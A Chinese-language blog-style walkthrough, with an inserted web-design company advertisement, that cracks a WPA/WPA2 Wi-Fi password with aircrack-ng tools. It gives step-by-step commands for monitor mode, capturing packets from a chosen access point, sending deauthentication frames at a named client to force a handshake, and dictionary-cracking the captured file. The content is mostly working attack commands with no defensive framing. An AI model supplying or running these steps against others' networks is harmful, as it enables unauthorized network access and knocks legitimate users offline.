声明：本文参考了网上的众多资料，加上自己的一晚上的奋斗实际操作总结
创新互联公司专业为企事业单位提供成都网站建设公司、成都网站设计，网站优化、微信开发、手机网站建设、国际域名空间、网站空间、企业邮箱等互联网基础服务。2013年至今，我们先后签约近千家中小型企业和科技发展公司的网站建设和网站推广项目。通过多年的创新发展，已发展成为专业能力较强，服务较好的建站公司。
其中http://netsecurity.51cto.com/art/201105/264844_all.htm该文写的比较详细，可做参考。
1.查看无线网卡状态，激活无线网卡
ifconfig
ifconfig wlan0 up
2.激活无线网卡至monitor即监听模式
airmon-ng start wlan0
3.探测无线网络，抓取无线数据包
在正式抓包之前，一般都是先进行预来探测，来获取当前无线网络概况，包括AP的SSID、MAC地址、工作频道、无线客户端MAC及数量等。
注意：此处的客户端是指无线AP的客户端，并非破解的主机
airodump-ng mon0
注意：此处的BSSID为AP的mac,STATION为客户端的mac
找破解的目标是尽量选择排行靠前，且有数据(data)的AP,记下这里的AP和STATION的mac,及信道（CH）
BSSID STATION CH
C8:3A:35:2D:5E:78 88:E3:AB:C3:A6:0F 7
airodump-ng -c 7 –w abc--bssid C8:3A:35:2D:5E:78 mon0
#对该AP抓取数据包并写入abc文件
-c:该AP的无线信道
-w:表示要写入的文件
--bssid:AP的mac地址
4.进行Deauth***加速破解过程。
上面的窗口不关，让其继续抓包，此时重开第二个窗口进行Deauth***加速破解过程。
aireplay-ng -0 1 -aC8:3A:35:2D:5E:78 -c 88:E3:AB:C3:A6:0F mon0
运行后可能会出现如下错误
根据提示修改命令如下：
aireplay-ng--ignore-negative-one -0 1 -a C8:3A:35:2D:5E:78 -c 88:E3:AB:C3:A6:0F mon0
可以看到不再报错，但是标识部分为【0 |31ACKS】表示没有数据应答，因此需要重复该步骤知道这里有数据应答且第一个窗口出现握手包才行，才可以进行下一步操作，可以调高这里的***数字
aireplay-ng--ignore-negative-one -0 10-a C8:3A:35:2D:5E:78 -c 88:E3:AB:C3:A6:0F mon0
注意：该处出现应答数据
且刚才抓包数据的第一个窗口出现握手包，由于该出握手包一闪而过，在第二个窗口进行Deauth***需要留心观察第一个窗口（我这里是截图网上的，实际难以截图，一闪而过）
5.做完上面关键的一步，接下来是激动人心的破解步骤了，WAP/WAP2均需要字典来破解，请提前下载好字典并放在破解系统上面
aircrack-ng -w beini.txt abc*.cap
-w:接破解的密码字典
abc*.cap为第一个窗口抓取的数据包
接下来的就是坐等结果，能不能成功看你的字典好坏，对方AP密码难度系数，电脑的破解速度，和一点点运气了
注明：不知道为什么复制不了截图上去，详情请见附件